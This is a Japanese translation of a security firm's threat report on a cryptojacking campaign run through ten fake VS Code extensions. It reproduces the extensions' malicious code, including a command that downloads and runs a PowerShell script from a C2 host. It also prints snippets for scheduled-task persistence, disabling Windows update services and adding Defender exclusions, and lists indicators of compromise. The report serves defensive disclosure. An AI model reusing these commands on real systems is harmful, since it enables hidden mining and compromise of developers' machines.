開発者は、一見正当なVS Code拡張機能に隠れた洗練された暗号採掘キャンペーンの標的になり、ExtensionTotalが検出した100万以上のインストールに達した可能性があります。
これらの偽の拡張機能は4月4日以降に3人の異なる著者(ほとんどが「Mark H」)によって公開され、Windowsセキュリティを無効にするPowerShellスクリプトを密かにダウンロードし、スケジュールされたタスクを通じて永続性を確立し、XMRig暗号採掘ツールをインストールします。最も成功した偽の拡張機能(「Discord Rich Presence」)は単独で18万9千のインストールを獲得しました。攻撃者は、なりすました正当な拡張機能をインストールすることで、バックグラウンドで暗号通貨をマイニングしながら疑いを避けるための洗練されたマルチステージ攻撃を実行しました。
はじめに
週末の間に、3つの異なる著者による10個の悪意あるVisual Studio Code拡張機能が公開され、洗練されたマルチステージ暗号採掘キャンペーンの初期アクセスベクトルとして機能しました。
これらの拡張機能は人気のある開発ツールになりすまし、100万以上のインストールが累積されました。インストールされると、セキュリティサービスを無効にし、リモートC2サーバーからXMRig暗号採掘ツールをデプロイするPowerShellローダーをダウンロードして実行します。
悪意ある拡張機能キャンペーンの解剖学
悪意あるキャンペーンは10個の異なるVisual Studio Code拡張機能を公開しました。
- Prettier — Code for VSCode (
prettier作成者) – 95万5千インストール - Discord Rich Presence for VS Code (
Mark H作成者) – 18万9千インストール - Rojo — Roblox Studio Sync (
evaera作成者) – 11万7千インストール - Solidity Compiler (
VSCode Developer作成者) – 1,300インストール - Claude AI (
Mark H作成者) - Golang Compiler (
Mark H作成者) - ChatGPT Agent for VSCode (
Mark H作成者) - HTML Obfuscator (
Mark H作成者) - Python Obfuscator for VSCode (
Mark H作成者) - Rust Compiler for VSCode (
Mark H作成者)
キャンペーンの最も人気の高い3つの拡張機能は、それぞれ95万5千、18万9千、11万7千のインストール数を示す異常に短い期間にこれらの数に達しました。これは、インストール数が人為的に水増しされた可能性が高く、拡張機能が広く信頼されており積極的に使用されているように見せることで、信頼性を確立し、ユーザーの疑いを減らそうとした試みであることを強く示唆しています。
拡張機能は同じ方法で動作します。まず、https://asdf11[.]xyz/にある同じC2サーバーからPowerShellスクリプトをダウンロードして、隠しウィンドウで実行します。
次に、なりすまされた正当な拡張機能をインストールしようとするため、ユーザーは期待される機能を引き続き受け取り、悪意のある動作を疑う可能性は低くなります。
functionactivate(context) {
// PowerShellローダーを実行し、拡張機能をインストールするコマンドを登録let disposable = vscode.commands.registerCommand('hubtestmanagerex.runCmd', asyncfunction () {
if (process.platform === 'win32') {
const cmdCommand = 'powershell -Command "irm <https://asdf11.xyz/> | iex"';
try {
// PowerShellローダーをダウンロードして実行するコマンドを実行await executeCmdCommand(cmdCommand);
// PowerShellローダーが実行された後、Solidityエクステンションをインストールconst extensionId = 'icrawl.discord-vscode'; // Solidityエクステンションの識別子await installExtension(extensionId);
} catch (error) {
vscode.window.showErrorMessage(`コマンドの実行に失敗しました: ${error.message}`);
}
}
});
C2ドメインasdf11[.]xyzは最近作成されました。最初の拡張機能が公開されたのと同じ日、2025年4月4日です。
拡張機能は異なる著者の名前で公開されていますが、同じコードを共有し、同じC2サーバーと通信してペイロードをダウンロードして実行します。
PowerShellローダー
PowerShellスクリプトは、永続性、防御回避、権限昇格、および実行を担当します。
永続性メカニズム
- 「OnedriveStartup」という名前のスケジュールされたタスクを設定して、ログオン時に実行します(正当なOneDriveソフトウェアになりすます)
Start-Process "cmd.exe" -ArgumentList "/c schtasks /create /tn `"OnedriveStartup`" /tr `"$qZVhfWBWTd5ptqbWRS8gzsNWK7JScbLgtuxRRD`" /sc ONLOGON /RL HIGHEST /F" -WindowStyle Hidden
- レジストリエントリからスクリプトを作成して実行します
Start-Process "cmd.exe" -ArgumentList "/c reg add ""HKCU\\Software\\Microsoft"" /v ""Version"" /t REG_SZ /d $uDVxFVuHBesAFGZCV1NZw3xuoG0kC0NzzGKYyUp /f" -WindowStyle Hidden
防御回避
- Windowsセキュリティサービスを無効にします
# Windows Update Serviceを停止し、起動時に開始されるように無効化Stop-Service -Name wuauserv -Force
Set-Service -Name wuauserv -StartupType Disabled
# Windows Update Medic Serviceを無効化するためにレジストリを変更Start-Process "cmd.exe" -ArgumentList '/c reg add "HKLM\\SYSTEM\\CurrentControlSet\\Services\\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f' -WindowStyle Hidden
# Update Orchestrator Serviceを停止して無効化Stop-Service -Name UsoSvc -Force
Set-Service -Name UsoSvc -StartupType Disabled
- 作成したディレクトリをWindows Defendersの除外パスに追加します
Start-Process "cmd.exe" -ArgumentList "/c powershell -Command ""Add-MpPreference -ExclusionPath '%localappdata%\\$uDVxFVuHBesAFGZCV1NZw3xuoG0kC0NzzGKYyUp'""" -WindowStyle Hidden
Start-Process "cmd.exe" -ArgumentList "/c reg add `"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Exclusions\\Paths`" /v `"%localappdata%\\$uDVxFVuHBesAFGZCV1NZw3xuoG0kC0NzzGKYyUp`" /t REG_SZ /d 0 /f" -WindowStyle Hidden
権限昇格
PowerShellスクリプトは、悪意のあるペイロードを管理者権限で実行しようとします。
権限がない場合、スクリプトは別のSystem32ディレクトリを作成してComputerDefaults.exeファイルをコピーしようとします。次に、スクリプトはMLANG.dllという独自の悪意のあるDLLを作成し、このComputerDefaults実行可能ファイルを使用してそれを実行しようとします。
実行
PowerShellスクリプトには、DLLとトロイの木馬実行可能ファイルが基本的なBase64エンコード文字列として含まれています。トロイの木馬をデコードして、Windows Defenderから除外したディレクトリにLauncher.exeとして書き込みます。
Launcher.exeは別のC2サーバーmyaunet[.]suと通信し、Moneroのマイニングに使用されるXMRigツールをダウンロードして実行します。
結論
このキャンペーンは、開発者エコシステム内におけるサプライチェーン攻撃の増加する精巧さと頻度のもう1つの例です。Visual Studio Code拡張機能ストアなどのマーケットプレイスが継続して成長するにつれて、攻撃ベクトルとしてのその魅力も成長します。
ExtensionTotalでは、害が及ぶ前に悪意のあるリスクのある拡張機能を検出することで、組織がこの進化する脅威の状況を乗り越えるのを支援し、チームが最新の開発ツールの力と生産性を活用し続けることができるようにしながらセキュリティを損なわない状態を保ちます。
IOC
VS Codeパッケージ名
- prettierteam.prettier
- markh.chatgpt-autocoder-vscode
- markh.claude-autocoder-vscode
- markh.discord-rich-presence-vs
- markh.golang-compiler-vscode
- markh.python-obfuscator-vscode
- markh.rust-compiler-vs
- evaera-rbx.vscode-rojo-rbx
- vscodedeveloper.sobidity-compiler
ファイルハッシュ
- 2d17f0cb6c8d9488f2d101b90052692049b0c4bd9bf4949758aae7b1fd936191 — Launcher.exe / myau.exe
- d2fcf28897ddc2137141d838b734664ff7592e03fcd467a433a51cb4976b4fb1 — xmrig.exe
- bb757c6338491170072e8b743ea2758eebaeb1472ba6b421c950c79a3daed853 — PowerShell
- 26111b28f6c507ea68e7c8a0f3ad64fb0d7b694d7f703bc626d871c4e1502dc2 — PowerShell
- 0c05365ea9c1162b10d93ffdc93eb4207b61062d35dbf6d424ad15e3342ecb70 — PowerShell
- b98dfc7ed18d6d30490fc2b997fbeae36541335bd05a94624da8b808e818d094 — PowerShell
- 71b48bc26f4a4f9759eaf35f44e7cebf4f18e1a74ab2c902f91404ca8ceb3a4e — PowerShell
- 13db408a3232ea31aab8edc648b6c315782db9516e1c08c6bd667e17f5dd147c — DLL
- 515e6d58b720d5e125602621b28fa37a669efed508e983b8c3136bea80d46640 — DLL
-
C2サーバー
- asdf11[.]xyz
- myaunet[.]su
翻訳元: https://www.koi.ai/blog/mining-in-plain-sight-the-vs-code-extension-cryptojacking-campaign